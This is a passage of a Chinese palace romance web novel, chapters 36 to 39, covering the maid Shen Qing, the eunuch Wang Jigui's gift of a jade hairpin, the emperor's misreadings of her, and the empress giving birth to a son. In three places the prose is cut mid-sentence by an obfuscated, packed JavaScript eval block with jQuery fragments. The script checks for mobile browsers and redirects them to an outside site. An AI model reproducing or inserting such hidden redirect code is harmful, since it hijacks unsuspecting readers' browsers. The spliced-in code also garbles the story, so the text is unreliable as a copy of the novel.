但这次,大抵是皇上等着喝酸梅汤,领沈青的太监直接将她带到了皇上面前。 沈青见情况不对,立刻低眉垂眼,一副谦虚恭顺的老实模样。 36. 第 36 章 纪宸未抬头,沈青只能出声:“参见皇上,奴婢奉皇后娘娘之命来为皇上送酸梅汤,皇上现在要喝吗?” 纪宸合上奏折,这才发现来人:“饮一些吧。” 然后记起是他吩咐钱全忠,说若是皇后的人来,直接领到他面前。 沈青将汤碗放下,用有手掌大小的羹匙行云流水盛出一些到碗中,然后递到纪宸手边。 皇帝身边的太监上前验毒,须臾后悄无声息退下。 纪宸这才端起碗慢慢喝。 自那日从后宫回来后,他便隐隐觉得有疑点,这宫女如果真如她所行事的那般没有接近他的心思,那每次坤宁宫送汤为何总是她? 皇后身边的大宫女足有四位,送汤既荣耀又轻松,应是惹人艳羡的好差事,不至于不吸引其他三位大宫女。 可偏偏,沈青却牢牢霸占住这项差事。 为何? 送汤虽然见到他的机会少,但又不是没有,一些不得宠的嫔妃常爱派貌美的宫女过来就是佐证,父皇那时,因此机会将宫女纳入后宫也不是没有。 只不过纪宸不爱此事,那些宫女也入不了他的眼。 既是来御前送汤,纪宸很难不将沈青的目的往自己身上想。 所以,他不靠谱猜测,这个宫女是喜欢他的,但藏的足够深,这种手法更像是一种欲擒故纵。 他在先昭贵妃身上见过,昭贵妃便是如此勾勾缠缠将父皇的心给笼络住了,看似漫不经心,实则步步都是算计。 想明白后,纪宸不免意兴阑珊,心底有点高兴,但这情绪又浅又快,还不待他抓住就没了。 更多则是觉得他自己果然智慧,不愧是天生当皇帝的好料子,将宫女的一切心机都勘测明白,让她的想法胎死腹中,不叫她兴风作浪。 沈青对纪宸所想的一无所知,她盯着自己的鞋面默默发呆,只希望皇上赶紧将汤喝完,她开口告退。 乾清宫伺候的人都轻手轻脚的,自她进来以后,宫人像是演了一场无声的默剧,现在皇上喝汤既无声,也不发话,更让人觉得空气都稀薄了不少。 还好皇后对她历练的够多,这种场面,能稳住。 而她若知道皇上心里在想什么,大抵只会吐糟他的自恋。 如果她会欲擒故纵,使用的对象只会是皇后,让皇后对她百依百顺,职场舒适度直接提升一个层次好吗。 想明白后的纪宸,便没了再留沈青的兴趣:“退下吧……等等,下次皇后派来御前的宫人换一个。” 沈青闻言头脑发懵,不知道她怎么惹了他,如果不主动来乾清宫,见到王定的次数就屈指可数。 她和王定关系密切,又可能因为她身为家中长女,弟妹有四,却无一兄姐,便忍不住将王定当哥哥了。 然而再好的关系也需要经营,长久不见,沈青也不确定她和王定会不会变。 沈青心里不爽,但仍行礼称是,后退出殿内。 纪宸察觉到沈青那一瞬间未遮掩好的沮丧,在更肯定心中猜测的基础上,不自在微微阖眼。 倒像是他欺负小姑娘似的。 这不是防患于未然么。 今日除了在皇上那里,沈青的运气还算不错,出了殿门便遇见了王积贵和王定。 王积贵使了个眼色,让沈青与王定有了独处时间。 沈青虽然悲伤,但还是笑着道:“我以后不能来御前见你了,皇上不满意我。” 她低头踢了踢脚,顺风顺水这么长时间,一切都那么平稳,这一遭对她的打击不可谓不大。 王定低头问:“那你身上可受伤了?” 沈青摇了摇头。 “别怕,那便无事,总让你来御前寻我,其他太监看见该打趣了,以后皇上有什么差事到坤宁宫,我去求一求干爹,求他让我去。” 沈青一眨眼,那一滴泪就猝不及防出来了,她说鼻子怎么酸唧唧的。 王定的话更让她有点失控。 沈青:“给你添麻烦了。”乾清宫的事务流程可比坤宁宫严格许多,况且有两位大公公斗法,去求王积贵,王积贵恐怕也为难的很。 王定伸手,用指腹将沈青溢出的眼泪抹掉:“我们兄妹,麻烦二字从何谈起?” 沈青心中感动,控制住难过情绪,上前抱住王定腰身,然后又飞速松开:“谢谢哥哥。” 她的小脸仰起,因为哭过,整张脸泛着粉,眨巴着眼睛,乖巧又可爱。 事实也如此,在王定心中,没有谁比沈青还出色。 于是他道:“哥哥送你几步。” 沈青和王定往出乾清宫的方向走去,走的远了,在檐下的王积贵便看不到两人的唇语。 王积贵默然,叫人看不出思绪,心里想的却是缘何他不是小宫女的哥哥。 不然今天就是伏在他的肩头哭了。 什么玩意的干爹,不过是玩笑之称,一点都做不得真。 怡和殿嫣婕妤处。 用最喜爱的瓷器将两名宫人陷害进慎刑司后,嫣婕妤这才眉眼舒展,星罗在用御医调的药膏轻点在嫣婕妤脸上的两点瑕疵处。 嫣婕妤心知惠贵嫔,现在的林嫔不是对她下药的人,当日不过本着既然已经得罪了林嫔,不若一不做二不休将那事栽到她身上的想法,出口意指林嫔。 但事后,嫣婕妤也没有忘记查是谁暗害自己。 林嫔有问题的可能性很小,因为当日林嫔的宫人不过是一时起意折辱于星罗,想打她的脸,不确定她会不会佩戴香囊。 心知她会佩戴的只有身边的几个宫女,于是她让星罗查看了她用的东西,发现少量的粉末残留,又暗中观察宫人,终于让她逮住了做手脚的那两名宫人。 自然并非以下毒的名义定罪,不然林嫔知道该闹着喊冤了。 既然得罪到底,嫣婕妤自然不会给林嫔翻身的机会。 于是她只能拿花瓶故意构陷,只是此举,就查不到宫人身后的人是谁了。 现下嫣婕妤数着后宫嫔妃,瞧谁都觉得是想毁她容貌之人。 那粉末起作用的前提是受伤,但宫中多的是不小心。 六月一过,七月宫中又要大摆筵席。 因今年酷热难耐,宴席便在湖边举行,凉凉湖风,倒不叫人觉得心烦气躁。 此外,宫中又发生了一件大事,何才人有孕一个月。 何才人受宠的次数不低,但也没有嫣婕妤、楚贵人、玉嫔多,甚至还逊色于陈美人和兰婕妤。 偏偏就是她怀孕了。 皇后本来犹豫是否出席宴席,何才人的好消息传来,她的心反而定了。 有何才人吸引目光,那些嫔妃对她的关注也会少一点了。 只是,皇后抚着肚子,这一胎一定要是皇子,不然让何才人生下大皇子,那才是真正的丢脸。 只要一想到那种情景,光是德妃的目光就让她晕眩。 且何才人暂时无法承宠,需得在嫔妃中再选一人来争宠,只是这人选却一时无法敲定。 玉嫔地位稳固,无需她递橄榄枝,楚贵人投效德妃,宣贵人宠爱不多且她也膈应,嫣婕妤无意投靠谁,更想自己立起来,陈美人与兰婕妤便是她见了都头疼,郑才人是个墙头草,李美人天生德妃阵营。 人选只可能从蒋才人和章才人里面选。 等到宴席那日,皇后一见到侍奉在太后身边的蒋才人,便知道选择只剩章才人。 章才人娇俏可爱,性子却过分单纯,皇后心中并非属意她的。 这顿宴席,皇后吃的无滋无味。 沈青这时却不在皇后身边,她和芰荷回坤宁宫去给皇后取东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337411|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,芰荷塞给了她张纸条,张唇未发声说了三个字:王公公。 沈青颔首,与芰荷分别。 时间一长,她差点忘了芰荷是王积贵的人。 只是不知道这个王公公是王积贵和王定。 纸条上的地方在离此处不远的假山,与热闹的宴席一条幽径相隔,鲜少有人来这边。 沈青抬脚往那个方向走过去,见光线暗淡,便将手中的提灯点着。 暖光映着前路与她身前,入目发丝都似乎渲染出光。 沈青到时不过停留了一会儿,正摆弄着她的宫灯,王积贵便出现了。 她抬头,惊讶,而后声音糯糯道:“干爹。” 叫的很没底气,当时攀关系仗着身边有人,现下光线昏暗,这里又只有她和王积贵,总归是不自在的。 “不要叫我这个。”太奇怪了。 看吧,沈青趁其不注意撇了撇嘴,郁闷道:“王公公?” 王积贵听出沈青的小脾气,无奈,但更多的是对沈青之后反应的期许。 “你许久没来御前了。”他幽幽道。 沈青点头,不过后来皇上身边的人到坤宁宫找皇后,十次有八次都是王定,她就不计较此事了。 所以呢?她倾耳。 王积贵:“我用闲暇时间,给你雕了一支玉簪。” 他将手中握着的簪子拿出来,放到沈青眼前供她查看。 沈青眼睛微微睁大,不可思议地低头凑过来,进宫久了,她也见多识广起来,王积贵用的这块玉料非常好,上面簪头的绿浓得快要滴出来,且簪身是过渡地很好的白玉,且是灵芝样式。 能看出雕簪子的人手艺颇好。 沈青眼神都柔了不少:“好漂亮,王公公的雕工真好,是从小练的吧?” 王积贵的视线温柔地落到沈青的脸庞上,一点点啄过她的眼皮鼻子朱唇:“第一次雕的,毁了不少玉料才得出这么一根玉簪。” 沈青目光震撼,第一次?真不是人! 人的天赋怎么能好成这样?她最嫉妒天才了。 沈青笑吟吟道:“完全看不出,真的要送给我吗?” 她对这个玉簪怎么看怎么喜欢,但也是要客气一下的,但凡现在王积贵点头,她就立刻不带犹豫地收下。 小宫人的目光讨喜,像是会说话一般,就这么直直看向王积贵,唇边的笑容也是那般发自真心的。 王积贵将玉簪插进沈青的发髻中。 沈青安静垂首等待,等王积贵收手,站直身好奇摸了摸,然后原地转了一圈,衣裙随之起舞,像伴着光翩跹的蝴蝶。 她追着叠声问:“好看吗好看吗?” 声音又娇又软。 暗处不知看了多久的人惊疑不定,两种情绪同时涌上心间,衣袍上金灿灿的龙爪暴露了他的身份,正是纪宸。 纪宸此时撞上王积贵和沈青的相会,尴尬让他脸庞微红,头都要冒气了。 这宫人压根不是欲擒故纵,反而是借着往乾清宫送汤的时候与王积贵私会,跟他压根没有半点关系! 深深的无地自容袭上心头,这种情绪是这二十年来从未有过的。 所以他也恼羞成怒了,明明有他这个文武双全神俊无俦至高无上的人在,小宫女什么眼神,居然看上王积贵。 不期然想到一句话,宫女配太监。 什么宫女配太监!因为幼时撞见过不光彩的场面,纪宸对这种说法最是深恶痛绝。 他不希望身边的人这么干,钱全忠和王积贵一直都很干净。 如今后者却栽在了有两副面孔的宫女身上。 王积贵可恶,沈青也可恶。 唯独会错意的他反倒没什么错处。 纪宸真心实意这么想,如果他不再继续脸红的话,兴许能掩盖过去。 37. 第 37 章 纪宸在宴席上喝了几杯酒,他酒量不错,没什么醉意,因不耐烦嫔妃在宴席上争宠的话术,便带着钱继,拎着一壶金樽镶红宝石的酒出来散散心。 钱继说这里幽静,少有人在,他便走到了此处。 刚走到没多久,就发现沈青提着宫灯缓缓走来,因他夜视能力不错,便没让人打灯,身边又只有钱继一人,一明一暗下小宫女自然没发现他。 若按照纪宸平日的行径,必会叫钱继将人赶走,但或许酒意上来了,他只迟钝地用手伏在假山的石头上,并未出声。 灯下观美人,即便他不钟爱沈青这种柔弱如蒲柳之姿的美人,也觉出了些惊艳。 就像嫣婕妤虽妩媚动人,但实在不是他素来喜爱的,因其绝色,便不会生出恶感,反而还有新鲜感,给她以宠爱。 沈青亦然,她虽没有佩戴任何贵重首饰,穿的也是宫女制式,身上无一件东西能烘托她的气质,将那种袅袅娉娉的韵味烘托到极致,但仍能看出是美的。 然而,因为沈青是宫女,嫣婕妤是他的嫔妃,这就导致纪宸对两人的态度截然不同。 他不想纳宫女,或者说将尊卑分的明明白白。 纪宸玩儿的转君臣,聚得了皇权,既当皇帝,自是唯我独尊的。 太后是他的母后,不能拿来说,但在他心中,皇后甚至都不配与他站在一起,嫔妃和朝臣居于他之下,更不必说宫女了。 这种想法外化成了他威仪的气势,淡漠的性格,说的朴素一点,就是不将任何人放在眼里,偏偏长的人模狗样,让人觉得皇帝合该如此薄幸冷情。 纪宸不出声,钱继自然当个哑巴。 这时的纪宸还在想,沈青不会是来偶遇他的吧,他记得沈青明明是和另一名大宫女离开宴席,现在却又独自回到了这里,很难不让他有想法。 不过他很快就否认了这一想法,因为王积贵出现了。 王积贵含着淡淡的笑,跟在乾清宫当值时很不一样,衣裳是新换的,上面的暗绣处处透着心思。 纪宸皱眉,王积贵与沈青认识? 这时他还在想,沈青是否是王积贵埋在后宫的一枚棋子。 然而,很快,他又想错了,仿佛他在关于沈青的事上处处失利一样,王积贵的目光是那样温柔迷醉,比他这个喝了酒的人都要沉醉。 纪宸明白了,王积贵喜欢这个小宫女。 所以特地寻今日空暇在这里私会,但刚开始时两人透着拘谨,说明他们之间还未点破,沈青的目光也还透着懵懂无知,像没开窍的少女模样。 即便在收到王积贵亲磨的玉簪,眼中的喜爱也全是对着玉簪去的,王积贵仿佛才是连带。 之后的转圈展示美貌,表现出的正是对自己相貌的笃定,所谓好玉配美人,唇边恰到好处的小骄傲更是让人忍俊不禁。 但纪宸笑不出来,如果是其他时候,他一定好好欣赏。 而不是这个时候,身体好像被分成了三部分,极其冷静的大脑,羞赧的表情,砰砰乱跳的心脏。 他仍在冷静分析现状,但控制不住从头到脚的羞耻,以及面对沈青歪头问王积贵那两道叠声的好看吗,而心跳乱了一拍。 不过一支玉簪,就值得她软着声音说出撒娇般的话语? 故作惹怜! 这种时候,纪宸理应过去撞破二人,或带着钱继离开,但偏偏脚底像生根一样,他选择继续偷窥。 整个皇宫都是他的,皇帝做的事能叫偷窥吗?这分明是正大光明。 但如果钱继敢露出半分声响,让素来谨慎的王积贵发现他们在这里他就死定了! - 宫灯横在沈青和王积贵中间,沈青正等着王积贵回答。 王积贵轻声道:“好看。” 然后伸手拂过沈青额前因风微微凌乱的发丝:“玉很配你。” 沈青笑得合不拢嘴,眼睛弯成月牙,他说的玉配她,而不是她配玉,天然就把她放在了比玉还好的位置上。 不过她也是要谦虚的:“哪有你说的那么好。” 如果不是这句之后沈青美滋滋地咯咯笑了两下,或许会显得羞涩含蓄。 王积贵无奈笑着。 沈青伸手将王积贵簪歪的玉簪飞速调整,十分自然问:“我身上好像没带什么礼物,你能在这里呆多久?” 她四下瞟着,就地寻找着材料,想给他做一份礼物还上心意。 王积贵:“宴席结束。” 沈青说着那就好,眼疾手快从地上揪了好几条长长的草,将宫灯放到地上,她也随之蹲下:“你喜欢什么?猫还是狗,我比较喜欢猫。” 王积贵看出沈青的意图,她会草编,于是在深深望了一眼沈青圆润可爱的发髻后道:“软乎乎的兔子,可以做吗?” “包在我身上!” 做到一半,沈青手艺生疏,手指缠啊缠,尴尬道:“胖兔子可以吗?” 王积贵泄出些许笑意:“可以。” 沈青脸一红,不好意思弥补道:“这个作为补偿,我可以再给你编一只兔子。” 王积贵也商量道:“胖兔子就很好,另一只可以编成猫吗?” 沈青格外爽快:“我最擅长的就是编猫了,世界上怎么会有猫这种萌物!” “我觉得兔子可爱。” “都……都可爱!” 万万没想到,王公公还怀揣着少女心,沈青觉得,她和对方更有话题了。 王积贵一点都不像她想的那般凶残,反而,人还挺好的。 王定在他手下,过的应当很舒服。 沈青将胖兔子编好,放到王积贵的手心,而后又揪了草来,认认真真编小猫。 胖兔只是练手,憨态可掬的小猫才是她的真本事。 “送给你啦。”沈青将绿色的小猫放到王积贵伸出来的手中,“我编的应该不容易散架,放个一两年是没问题的,当然,玩儿过后扔了也可以,反正是些草编的。” 小猫身上带着余温,在掌心上温感明显。 王积贵将手虚虚拢住:“特别可爱,不会扔。” 他后半句话说的很轻。 沈青拍了拍手,抖落草屑,提上宫灯,只听到说特别可爱,便已经值得她开心笑起来了。 她听着宴席那边的动静不若方才热闹,便猜到是有主子离席了,气氛才降下来。 “时候不早,我得先离开了。”沈青朝王积贵服了服身,见他没有拒绝的意思,便照例挥了挥手,这才转身去找芰荷。 等到持灯的倩影再也看不见,王积贵收回目光,离开此地。 暗处的纪宸情绪早已平静下来,手指轻点,恢复了让人瞧不出喜怒的淡然模样。 观察地久了,他怎么会没发现,这完全是王积贵一厢情愿,沈青压根不接招。 或者说王积贵也没想点破,维持这般联系。 等到两人都走,纪宸也觉得没意思透了,让钱继对今日之事守口如瓶,并未回到宴席,便直接登上龙辇回乾清宫了。 此后几天,钱继被纪宸数次派去盯梢王积贵在干什么。 对于主子的吩咐,钱继只能称是,且因为有那一晚和皇上的遭遇,他明白皇上想知道什么。 于是报给皇上的,无非两件事,王公公在忙,王公公在把玩草编兔子、草编小猫。 这似乎更印证了纪宸所想的,心中淡笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347216|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王积贵一厢情愿,实在不足为虑。 至于不足为虑什么,纪宸可能也未深想。 后宫中何才人有孕,永寿宫中李家姐妹坐在一起说话,身边唯有石榴在侍奉。 李美人不明白:“姐姐,咱不去害何才人都已经是善良了,为何要出手帮何才人保下这一胎?” 德妃温言道:“因为姐姐觉得,何才人和她腹中胎儿一直无恙,咱们这个皇后才会多思多虑。” 李美人蹙眉:“皇后再有几个月便要生产了,何才人再怎么着能比皇后生得还早吗?” “糊涂。”德妃毫不留情呵斥,“皇后肚中是男是女还未确定,在未产下皇子之前,她能心安吗?且何才人有孕,皇后却未凭借此功让皇上给何才人提一提位份,由此便可窥见一二。” “保下何才人,说不定能抢了皇后心心念念的大皇子之位,何乐而不为呢?” 李美人恍然:“那姐姐,若是皇后生下公主,皇后会对何才人出手吗?” 德妃想了想,她也不能给出确凿的答案:“现在的皇后连我也看不透了,比是妃子时更会装模作样,或许会,或许不会。” 李美人垂眸,若有所思。 - 坤宁宫中,伺候皇后慢慢变成了一件苦差事,八月的时候,皇后的肚子已经相当大了,即便稳婆说会在十月时生产,但瞧那样子,像是会随时发动一般。 自然,皇后的脾气也变得捉摸不定起来,芰荷都深感棘手,唯有沈青,仍让皇后感到满意。 这日,皇后又烦闷起来:“沈青,你说本宫这胎是男是女?” 沈青真诚回答:“最有经验的稳婆说是位皇子,御医把脉也说大概是男孩,娘娘虽梦到公主,但常言道,梦是反的,所以奴婢觉得,定是位皇子。” 皇后焦虑,沈青只能从方方面面佐证怀的是皇子,让皇后稍稍舒心,不然走到死胡同,那才是郁闷死了人。 现在最重要的是将孩子平安生下,但皇后不喜欢听这句话,只喜欢别人笃定告诉她,她怀的是皇子,她会为皇上生下皇长子。 至于后面若是生下来是位公主,沈青觉得左不过被皇后责罚一顿。 不过那时,都生完了,皇后情绪应该会稳定,能明辨是非,届时,她逃过一劫也未可知。 沈青分神想着,奸臣宠臣大抵就是她这样,只说好话,只说上面爱听的。 不过,奸臣亦是那个祸害遗千年的,她的命应会很长。 皇后听完后呼吸都有序了,她认为沈青说的很对,如果顺利产下皇子,她要重重地赏沈青黄金! 不过沈青这般聊以慰藉的安抚没持续多久,九月份,皇后在坤宁宫消食散步时摔了一跤,羊水提前破了,被宫人很快送进早已准备好的产房。 稳婆、太医接连就绪。 皇上也自下午收到消息便撂下政务,到坤宁宫坐镇,之后太后和德妃赶到。 太后身边,一位素衣女子扶着她,正是贤妃。 到坤宁宫的新妃好奇望去,心中对其身份有了些猜测。 纪宸只一眼便收回目光,皇后生产完,确实到了贤妃解禁的时候。 贤妃如果不对皇后下手,凭着他们的亲缘关系,如何会如此重罚贤妃? 贤妃还是太没规矩了。 不过,纪宸左右望去,好似没见到那小宫女的身影。 沈青此时正陪在皇后身边,一边盯着产婆手上的动作,一边安慰皇后,让她保持清醒。 皇后哀哀地唤着沈青的名字。 沈青镇定自若握上皇后的手:“奴婢在。” 越是这个时候,越不能出差错,且妇人生产,几个时辰是打不住的。 38. 第 38 章 沈青知道生孩子是趟鬼门关,但这么旁观皇后生产,看着她一阵阵叫痛,已经是痛不欲生,却被告知宫口开的不够大。 不单皇后紧皱着眉头出汗,沈青自己也是一身冷汗,最里面的里衣湿濡地贴在皮肤上。 她不可避免慌起来,又强迫自己镇定。 皇后此时像被从水里捞出来的一样,额头上的汗也怎么都擦不干净。 沈青握着皇后的手已经有点打滑,但她们两人各自用力将手紧紧握在一起,皇后依赖着沈青,唯有这样,方能感到安定,沈青亦是怕的,不自觉就握紧了,仿佛在汲取力量。 皇后是早产,发动的并不顺利,太医给皇后开了催产药,沈青和青古两人服侍皇后喝下。 然后让皇后含住参片,以此来存力,不至于生产途中没有力气。 催产药很快起了作用。 皇后忽高忽低的呼痛声不断在屋内响起,产婆大声指挥着皇后该怎么样,然而皇后不得其法,产婆着急,皇后痛苦。 沈青同样焦急,但没有办法,生产没有技巧,皇后只能苦熬过去。 她能做的唯有在皇后耳畔话大饼,她每说一句,皇后眼中的光便多一分,知道奏效后,沈青说得口干舌燥,描述地天花乱坠。 她一心扑在皇后身上,再听到产婆的话便是:“见到头了!” 屋内众人顿时振奋起来,沈青也不例外,眼睛一亮,皇后听到好消息则是眉头骤然一松。 产婆连忙又道:“皇后娘娘用力,这种时候不能松劲儿!” 沈青连忙唤皇后:“娘娘!” 好在很快,沈青感受到皇后握她的手劲儿骤然增大,眉头眼睛皱在一起,银牙死死咬住,毫无优雅端庄可言,但就是这副模样,却让沈青打心底的高兴,因为皇后的力气续上了。 一直折腾到半夜,沈青的心情随皇后起起伏伏,直到两声:“生了生了!”心头才骤然一松。 紧接着,便是不可思议,她真的见证了一个的孩子的诞生。 沈青的心情放松,皇后却心里一紧,巨大的疲惫几乎要将她淹没,但她死撑着等下一道声音。 沈青很快意识到皇后的想法,也朝产婆的方向望去。 只见产婆利索将刚出声的婴儿检查了一番,扬声道:“是位皇子!”便用准备好的水洗干净,接着重重一拍婴儿。 婴儿声嘶力竭的哭声响彻周围。 众人俱是一片喜意。 产婆再次道:“是位健康的皇子!”这才将手里的皇子放进明黄的包被里,然后抱着走到皇后身边,矮身让皇后来看。 沈青视线随之移动,刚出生的婴儿本该是皱皱巴巴的小猴子,但这孩子的皮肤却很光滑平展,能看得出生得好,孩子略大,怪不得生得那么艰难,若是足月,那更不敢想了。 她对是公主还是皇子没什么在意,无论如何,只要皇后平安。但因皇后在意,沈青便为她真心实意感到高兴。 这个结果,皇后也算得偿所愿了。 再一看皇后,她的嘴唇泛白,望着她的孩子,生产都不曾哭的人眼里流出道泪,百感交集。 皇后不知道说什么好:“沈青,他真的是皇子。” 沈青立刻肯定道:“没有错的,娘娘,您生下了大皇子!” 皇后心满意足闭上眼,她需要休息,稳婆便将小皇子抱出去,给外面等着的人报喜。 芰荷和萱草随之出去照看小皇子,沈青和青玉青古则留下来陪着倦怠的皇后。 即便一直折腾到深夜,屋外坐着等消息的众人还没有一个离开。 房内皇后的声音消失,纪宸似有所觉抬头,不久后产婆便抱着一个婴儿向他道喜。 “恭喜皇上贺喜皇上,皇后产下了一名皇子!” 纪宸伸手抱过来,倍感新奇,他对众人宣告道:“这是朕的大皇子。” 然后吩咐:“宫内所有人,赏三个月月奉!” 太后亦露出一抹笑,孙辈添人,即便她再不喜皇后,也对这个皇孙生不起恶感。 纪宸抱了抱便将大皇子交给了太后,太后比纪宸有经验,姿势看上去都比纪宸的更让婴儿舒服。 果然,包被中的大皇子动了动眼皮,安然睡了过去。 身旁的嫔妃一个两个都带上了笑容,似是很为大皇子的到来感到高兴,德妃贤妃亦不例外。 夜渐深,太后熬不住,纪宸便将大皇子交给坤宁宫皇后的贴身宫人,然后让人将太后送回慈宁哥,他回乾清宫,宫妃便也三三两两散了。 除了何才人仍留在坤宁宫偏殿,她有孕,在刚到坤宁宫时,便被宫人引到偏殿休息,夜深也没再挪动。 等何才人醒来时,已是第二天,贴身宫女告诉她皇后生了位皇子。 在收拾梳妆时,何才人看着铜镜中的自己,试着让嘴唇弯出喜气洋洋的弧度。 若是公主该多好,她的孩子便有望成为大皇子。 可无论心里怎么想,何才人都不能表现出来,还得真心实意祝贺皇后产下皇子,这样才真正对她有利。 皇后生产后这一睡就是到了下午,何才人没有离开坤宁宫,等着皇后起身后,她才去请安。 现下何才人有孕三月,身形还没有开始变化。 皇后仍坐在床上,醒来看过自己历经千辛万苦生下的皇子后,听到何才人求见她,心知何才人抱着什么心思,便也没拒绝。 果然,何才人出现后,便开始向她贺喜,明里暗里对她表忠心。 皇后轻咳了一声,忍着喉咙的痒意对何才人道:“你有孕,才人的位份实在委屈你了,合该升一升,但这几个月本宫精力都放在孩儿身上,分不出心力向皇上求一份恩典,你可怪本宫?” 何才人惶恐道:“嫔妾怎敢,嫔妾日日都盼着娘娘顺利生产,没有娘娘的扶持,嫔妾又如何有得皇上垂青的运道呢?” “本宫便是这一说,你的为人本宫还是清楚的,莫要惊慌,你还怀着身孕呢。”皇后微露责备,恼怒她一惊一乍,不顾身子。 何才人情绪渐渐平息:“多谢皇后娘娘垂怜。” 一番敲打后,何才人从坤宁宫告辞离开。 皇后盯着何才人的身影,直到看不见后才没再压制,剧烈咳嗽起来。 沈青见状弯腰抚着皇后的背部,一下一下的顺。 皇后怀孕时便染上了咳疾,根源自是刚怀孕时饮的那两口毒羹,怀孕时,皇后为了胎儿的健全,没有喝治咳疾的药,现下生产完也才不到一天,自然没找太医医治。 但看青古的意思,拖来拖去,这咳疾恐怕没那么容易好。 皇后听到后不太在意,以一个不伤身的咳疾换整个孕期的平安,还是值的。 待到咳完,皇后神情纯粹:“沈青,本宫真的好开心,本宫赌赢了一位皇子。” 这是多大的幸运,让她生下了嫡长子。 沈青微笑道:“奴婢也开心,娘娘日后定会一番风顺。” 皇后:“本宫曾对你说过,如果生下皇子,本宫便要赏你黄金。除此之外,本宫还想再给你一份恩典,若有什么心愿,本宫亦会满足你。” 皇后的目光真诚,不掺丝毫假。 沈青意动,犹豫道:“奴婢想求一份恩典。” 皇后鼓励道:“你说。” 沈青便道:“奴婢想去大皇子身边照顾大皇子。” 皇后眼睛睁大:“为什么想离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352036|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……” “……不是,为什么要去皇儿身边?他就是个什么都不懂的奶娃娃。” 正是因为皇子什么都不懂啊,沈青违心道:“奴婢喜欢孩子。” 皇后恍然大悟,接着很快想到什么:“小事小事,皇儿一直住在坤宁宫,这跟往常也没差。” 有一个全然为了皇子的人在,皇子的安全才更有保障。 沈青唇边翘起一抹笑,生产完的皇后好似与她交心了许多,往日她们上下分明,现在皇后居然有心和她闲话,说到最后连本宫都不称了。 但即便如此,她还是想去皇子身边,因为轻松,伺候一个小孩,不用时时刻刻板着身体,低眉顺眼的。 不然长久下来,真就奴颜婢膝了。 沈青不希望有一天她会迷失自己。 皇后的调配下达的很快,沈青的住处搬去了皇子的隔壁,她只用大方向照看皇子,甚至不需要抱一抱哄一哄,因为有专门的奶嬷嬷在。 且奶嬷嬷和大皇子身边的宫人是听她的话的。 而且大皇子是皇上膝下唯一的皇子,又是中宫所出,地位肉眼可见的稳固,沈青的地位自是水涨船高。 现下别人都要称她为姑姑了。 没有磨人的皇后在,沈青的精气神肉眼可见的增长,最明显的便是唇边常在的那抹闲适笑容。 沈青不和旁人比,就和青玉比,她是既没有青玉的操劳,也有青玉的地位在。 除此之外,剩下的烦恼便也不足为惧了。 因她还是坤宁宫的人,她听到的仍是皇后的心声,以及大皇子是圣上唯一的孩子,皇上冷不丁就会出现在大皇子住处,令人防不胜防。 因为曾被皇上嫌弃过,沈青其实是不想出现在他面前的,谁知又怎么惹了对方。 但她的职责所在,不能不在皇子身边啊,所以皇上出现的时候,她不是盯鞋面,就是盯皇子。 至多向皇上行礼时出个声,此外,就当自己不存在。 更遑论与其对视上了。 “茶。”这日,纪宸又溜达到大皇子处,皇后为了让皇上和皇子培养感情,更是大开方便之门。 逗弄了一会儿皇子,他如是说道。 沈青眨巴着眼睛看向跟在皇上身边的钱继,仿佛在说: ——呦,你主子要喝茶。 钱继垂下脑袋,以他对皇上的了解,总之不是吩咐他的,折腾谁,当然是显而易见。 前几次皇上从大皇子这里回去,心里就很不如意。 帝心难测,但可以肯定的是,皇上是绝不允许别人忽视他。 沈青见状,许是在大皇子身边太安逸了,她也就失了警惕之心,见状也学钱继垂下脑袋。 肯定不是对她说的。 奉茶?皇帝最讨厌她了好吗。 不过讨厌就讨厌吧,越讨厌她越闲。 沈青和钱继相互僵持,只听纪宸冷笑一声,屋内的众人一抖,已经安静跪了下去。 奶嬷嬷吓的一激灵,万幸她此时手上没抱着皇子。 沈青觑了一眼,发现坤宁宫的人只有她和一名奶嬷嬷,因为皇上带来的人一进来,坤宁宫其余人便因站不下退了出去。 乾清宫的人占上风,如此,便更不是在吩咐她了。 纪宸:“榆木脑袋。” 沈青共鸣,钱继就是个榆木脑袋,茶就在桌子上放着,奉进皇上手中这么点小事都不做。 纪宸又道:“真是个木桩子。” 看吧看吧,钱继装死被骂了。 纪宸又又阴阳怪气道:“沈青姑娘,劳烦你为朕奉茶。” 沈青茫然外加惊恐:“??!!” 骂的是她! 39. 第 39 章 皇上这话沈青可不敢当,她的脸色先是煞白惨淡,而后窘地一瞬间涨红了脸。 “奴婢遵旨。”沈青心中懊悔地都要流下两行宽泪了,她刚刚在想什么,居然把皇帝的话当作耳旁风。 那可是封建社会的的皇帝。 